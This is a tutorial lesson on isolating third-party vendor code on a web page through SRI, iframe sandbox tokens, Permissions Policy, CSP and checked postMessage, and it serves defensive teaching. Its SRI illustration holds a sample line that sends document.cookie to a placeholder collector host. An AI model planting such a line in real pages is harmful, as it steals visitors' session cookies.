What you'll learn: By the end of this lesson you will be able to say what a third-party script and a third-party iframe can each do to your page, pin a script's content with Subresource Integrity (and know when that is the wrong tool), read and choose
sandboxtokens, explain whyallow-scriptsplusallow-same-origindefeats a same-origin sandbox, delegate browser features with theallowattribute and Permissions Policy, limit where frames may load from with CSP, and talk to a frame withpostMessagewithout trusting it blindly.
Think of letting a contractor into your shop. You can hand them a key and let them work among the shelves and the till (a script), or have them serve customers through a window in a separate room (an iframe), where they cannot reach the till. The first is faster and the contractor can do anything you can; the second takes more work and limits what can go wrong. Most vendors need far less than the key.
The running example is the product page of a grocery marketplace: a React app that the marketing team wants to extend with an analytics tag, a customer-chat widget, an embedded recipe video and an ad slot. Each vendor says "paste this snippet". This lesson is about what that hands over, and how to hand over less. It builds on the dependency lesson (Dependency and Supply-Chain Security, plain text here), Content Security Policy and The Same-Origin Policy and CORS.
The core idea
- A script tag gives the vendor your page. MDN lists cross-origin embedding of
<script src>among the things typically allowed, and OWASP notes that components typically run with the application's privileges. Whoever controls the URL controls the code. - An iframe gives the vendor a room, not the page. The same-origin policy limits cross-origin script access, and
sandboxandallownarrow it further. - Three levers, used together: how the code loads (async, self-hosting, a pinned hash), what the browser allows (CSP, Permissions Policy) and how isolated it is (a sandboxed iframe on a separate origin). Pick by what the vendor needs.
What a vendor script costs you
web.dev lists the risks of third-party scripts as slower pages, privacy or security issues, unpredictable behaviour, and a single point of failure if a script is loaded carelessly; an embed can block window.onload if its servers are slow, even with async or defer. With async a classic script runs as soon as it is fetched, in no guaranteed order; with defer it runs after parsing, in document order (MDN). web.dev advises one of them for third-party scripts unless the script is on the critical rendering path.
Performance has its own lesson (Core Web Vitals). The security question is: what can this code do once it runs, and who decides what it contains?
Figure 1. What each integration hands over
How to read this: red means the vendor's code runs inside your page. The two iframes reach the page only through messages you choose to handle, and the sandboxed one starts with almost every capability switched off. The vendor server sits at the right because it can change what it serves at any time.
Pinning what you load: Subresource Integrity
Subresource Integrity (SRI) lets the browser check that a fetched resource matches a hash you wrote down. It works on <script> and on <link> with rel of stylesheet, preload or modulepreload.
The integrity value is a list of hashes, each prefixed with its algorithm (sha256, sha384 or sha512), a dash, and the base64 digest. If several algorithms are present the browser uses only the strongest. A mismatch is not a warning: the browser refuses to load the resource and returns a network error, so the script does not run. For a cross-origin file the request must use CORS: the server must send Access-Control-Allow-Origin and the element needs crossorigin, because browsers do not allow no-cors requests to use SRI.
<script
src="https://static.vendor.example/analytics-4.2.0.min.js"
integrity="sha384-REPLACE_WITH_THE_HASH_YOU_COMPUTED"
crossorigin="anonymous"
defer></script>
(vendor.example is a reserved documentation name; the hash is a placeholder.)
MDN's <script> page says the attribute exists so the content is what the developer expects and has not been replaced in a supply chain attack. The hash must be updated whenever the file changes, so SRI suits a versioned, immutable file and not a "latest" URL the vendor updates in place.
The polyfill.io case shows why. Sansec's June 2024 report says the domain and GitHub account were bought in February 2024 and the new owner then used the domain to inject malware on mobile devices into sites that embedded cdn.polyfill.io; it counts more than 100,000 sites embedding the domain (not confirmed infected). Sites that trusted a URL got new code with no change on their side; a pinned hash would have refused it.
Isolating in an iframe: the sandbox attribute
An <iframe> with a sandbox attribute applies restrictions to the embedded content. MDN says the value can be empty to apply all restrictions, or space-separated tokens that lift particular ones. The tokens that matter most for vendors:
| Token | What it lifts |
|---|---|
allow-scripts |
Lets the page run scripts (not open pop-ups) |
allow-same-origin |
Without it the document is treated as from a special origin that always fails the same-origin check (limiting storage, cookies and some APIs) |
allow-forms |
Form submission works (otherwise it displays but does not send) |
allow-popups |
Pop-ups and target="_blank" work (otherwise silently fail) |
allow-popups-to-escape-sandbox |
A pop-up opens without inheriting the sandbox; MDN's example is a sandboxed ad whose destination page should not be restricted |
allow-top-navigation, allow-top-navigation-by-user-activation |
Lets the frame navigate the top-level page, always or only after a user gesture |
A sandboxed frame blocks all top navigation unless one of the two top-navigation tokens is set. Pop-ups, redirects and new tabs opened from it are subject to the same sandbox unless allow-popups-to-escape-sandbox is set.
The dangerous pair. MDN says that when the embedded document has the same origin as the embedding page, using both allow-scripts and allow-same-origin is strongly discouraged: the document can remove the sandbox attribute, so it is no more secure than having none. The sandbox holds only if the frame is on a separate origin (for example widgets.shop-content.example, not a path on shop.example). MDN also warns that sandboxing is useless if an attacker can show the content outside the frame, such as in a new tab, and says such content should be served from a separate origin.
Illustration 1: the minimal example, SRI refuses changed content
SRI is a hash comparison done by the browser. This Node script does the same comparison with node:crypto on stand-in text (the "added line" is only hashed, never run).
import { createHash } from "node:crypto";
const sri = (text) => "sha384-" + createHash("sha384").update(text).digest("base64");
const v1 = "window.chatWidget = { open() { /* ... */ } };";
const hijacked = v1 + "\nnew Image().src = 'https://collector.invalid/?c=' + document.cookie;";
const pinned = sri(v1);
for (const [label, body] of [["vendor file as reviewed", v1], ["vendor file after a change", hijacked]]) {
console.log(label.padEnd(28), sri(body) === pinned ? "runs" : "blocked by the browser");
}
Output, from running it in Node 26.13.1:
vendor file as reviewed runs
vendor file after a change blocked by the browser
The script only compares hashes; "blocked" is what MDN says a browser does on a mismatch. The pin blocks a legitimate change too (see the 2 a.m. failure).
Delegating features: allow and Permissions Policy
An iframe may ask for features such as geolocation or the camera. The allow attribute holds a Permissions Policy for that frame and, per MDN, adds a further restriction on top of the Permissions-Policy header. A parent can delegate only features it has itself, disabling a feature for a child is a one-way toggle, and a header naming the permitted origins sets the ceiling. MDN marks Permissions Policy as experimental with limited browser availability: check compatibility first.
Two small attributes help. referrerpolicy chooses what Referer is sent when fetching the frame (default strict-origin-when-cross-origin; MDN warns that unsafe-url leaks origins and paths). loading="lazy" defers a below-the-fold frame, only when JavaScript is enabled.
Limiting from the outside: CSP
A vendor you cannot sandbox can still be fenced by a Content Security Policy. frame-src says where your page's frames may load from (MDN: it falls back to child-src, then default-src) and differs from frame-ancestors, which says who may embed your page. script-src and connect-src fence where scripts load from and where they may send data. The CSP sandbox directive applies the iframe tokens to a document itself, but only as an HTTP header, not in <meta> or a report-only header. A policy limits a vendor's reach; it cannot make a script you chose to run harmless.
Talking to a frame
A framed vendor and the page exchange data with postMessage. MDN's guidance: if you do not expect messages from other sites, add no message listener; if you do, always verify the sender with event.origin (and possibly event.source), because failing to check enables cross-site scripting; then still validate the message's syntax. When sending, give an exact targetOrigin, not *, because a malicious site can change the window's location and intercept the data.
Figure 2. A message with an origin check
How to read this: the listener applies two checks to everything it receives, who sent it and whether the shape is right, and replies only to an exact origin.
Illustration 2: the realistic example, one page and four embeds
On the product page each integration gets the least that works. The analytics tag must read the page, so it is self-hosted at a versioned URL and pinned with SRI. The recipe video is a plain third-party frame with loading="lazy" and an allow list naming only fullscreen. The chat widget and the ad slot are sandboxed frames on separate origins, the ad with allow-popups-to-escape-sandbox so its destination page is not restricted. Two review rules help: any sandbox value containing both allow-scripts and allow-same-origin needs an answer to "is this frame on another origin?", and any frame with no sandbox attribute needs a written reason.
Illustration 3: a failure, the sandbox that is not one
A team hosts a recipe widget at shop.example/widgets/recipes, the shop's own origin, and embeds it with sandbox="allow-scripts allow-same-origin" because it needs storage and scripts. In review the attribute looks like a security control. Per MDN, a same-origin document with both tokens can remove its own sandbox attribute, so there is no sandbox, and a later widget bug becomes a shop bug. The fix is structural, not another token: serve the widget from a separate origin.
Choosing how to include a vendor
Figure 3. A decision for each integration
change your page?"} -->|"no"| B["Sandboxed iframe on a
separate origin, fewest tokens"] A -->|"yes"| C{"Versioned, immutable
file?"} C -->|"yes"| D["Pin with integrity + crossorigin"] C -->|"no, updates in place"| E["Self-host a reviewed copy,
or fence with CSP and monitor"] B --> F["Add allow + frame-src
for features and origin"]
How to read this: the first question is about need. Most embeds can live in a frame; only tools that read the page, such as some analytics and A/B testing scripts, must run in it, and for those the file's stability decides between a pin and a copy.
| Approach | Gain | Cost | Weakness |
|---|---|---|---|
| Script tag, vendor-hosted | Zero setup; vendor fixes arrive | None | Runs as your page |
| Script with SRI | Refuses changed content | Hash update per version | Breaks on in-place updates |
| Self-hosted copy | You control the bytes | No automatic security fixes (web.dev) | You own patching |
| Sandboxed iframe, separate origin | Strong isolation | Messaging, a second origin | Vendor must work in a frame |
| CSP and Permissions Policy | Limits origins and features | Upkeep and reporting | Cannot make a trusted script harmless |
Build it
This lesson has no lab. The script above is plain Node and was run to produce the output shown. It models only the hash comparison; browser behaviour comes from the MDN pages cited, not from a run.
In practice: adding a chat widget to the product page
This is a realistic scenario, not a case history. It is a composite built from common production patterns. It describes no specific company or product, and every number in it is an illustrative assumption.
The situation
Support wants a customer-chat widget on every product page. The vendor says to paste a script tag from its CDN, which loads the widget and updates itself. The page holds the signed-in shopper's name and basket. The security reviewer asks what the script can read.
Starting architecture
Figure 4. The vendor snippet as given
How to read this: the warning box runs a file the vendor can change at any time. Whatever the page can reach, the script can reach.
Options considered
| Option | What it fixes | What it costs | Risk |
|---|---|---|---|
| Pin it with SRI | Changed content | A hash update per version | In-place updates break the widget |
| Sandboxed frame on a separate origin, message bridge | Isolation from basket and checkout | A bridge and a second origin | The vendor must support frames |
The decision
| Field | Decision record |
|---|---|
| Context | A self-updating vendor snippet would run with the page's access to shopper data. |
| Decision | Use the vendor's frame, if it offers one, with sandbox="allow-scripts allow-forms allow-popups allow-popups-to-escape-sandbox" on a separate origin, an explicit allow list, frame-src limited to the vendor origin, and a postMessage bridge that checks origin and shape and sends only the shopper's first name (illustrative) to an exact origin. No allow-same-origin unless the vendor documents a need. |
| Consequences, good | The vendor cannot read the basket; an update changes only the frame. |
| Consequences, bad | A bridge to maintain; some features may need more tokens. |
| Revisit when | The vendor changes its embedding model or needs page data. |
Rollout and verification
- Ask the vendor whether it supports a frame embed and which tokens it needs; test the minimum set.
- Add the frame behind a flag on one page, with
frame-srcreport-only first. - Test the bridge: another origin or a wrong shape is ignored.
- Record each token and the reason for it.
The 2 a.m. failure
A team pinned a vendor's analytics script with SRI. The vendor ships a new version to the same URL overnight, the hash no longer matches, the browser refuses the file, and the marketing dashboard shows a cliff.
First three checks: (1) the browser console for the integrity error naming the URL; (2) the hash of the file now served against the one in the page; (3) whether the vendor offers a versioned URL. Mitigation: a versioned URL and a new hash, or remove the pin only after reviewing the new file. Follow-up: an alert on integrity errors, and a rule that a pinned URL must be versioned.
Architect's notes
- Ask what the vendor needs, then give less. Most embeds need a window, not the page.
- Prefer a separate origin. A sandbox means something only when origins differ.
- Pin only what is immutable, and treat messages as input.
Common mistakes
- Pasting a vendor snippet without reading what it loads.
allow-scripts allow-same-originon a same-origin frame.- SRI on a URL that updates in place.
- A
postMessagelistener that never checksevent.origin, or sends with*. - Adding sandbox tokens until it works without recording why.
Key takeaways
- A script tag gives a vendor your page; an iframe gives it a room.
- SRI pins a file's content; it needs CORS and a versioned file, and it blocks changed content.
sandboxstarts with all restrictions and you lift tokens one by one;allow-scriptswithallow-same-originon a same-origin frame cancels it.allowand Permissions Policy delegate features; a parent cannot re-enable what it disabled.frame-srclimits where frames load from;frame-ancestorslimits who embeds you.- With
postMessage, checkevent.origin, validate the shape and send to an exact origin.
Practice exercises
Exercise 1: Starter (30 min). Pick a page with a third-party script. List every origin it loads, including what the vendor loads, and say for each whether it could be a frame or a pinned file.
Exercise 2: Intermediate (2 hours). Write a test for a postMessage handler that accepts one message type from one origin and ignores the same message from another origin and a wrong shape.
Exercise 3: Advanced (half day). Design the sandbox, allow list, frame-src and bridge for a video embed, a chat widget and an ad slot, and for each token write the feature it enables.
Related reading
In this course:
- Content Security Policy:
frame-src,script-srcand report-only rollout. - The Same-Origin Policy and CORS: what an origin is and what separates two.
- CSRF and Clickjacking Defenses: who may embed your page.
- XSS Defenses: injected script, a different route to the same privileges.
- Cross-App Communication:
postMessageamong the pieces of a front end.
Official documentation
- MDN: Subresource Integrity and
<script>: theintegrityattribute, CORS,asyncanddefer. - MDN:
<iframe>:sandbox,allow,referrerpolicyandloading. - MDN: Permissions Policy: the header, the
allowattribute and delegation. - MDN: CSP
frame-srcand CSPsandbox. - MDN:
Window.postMessage(): origin checks andtargetOrigin. - web.dev: Loading third-party JavaScript and Sansec: the polyfill.io attack: costs and a real incident.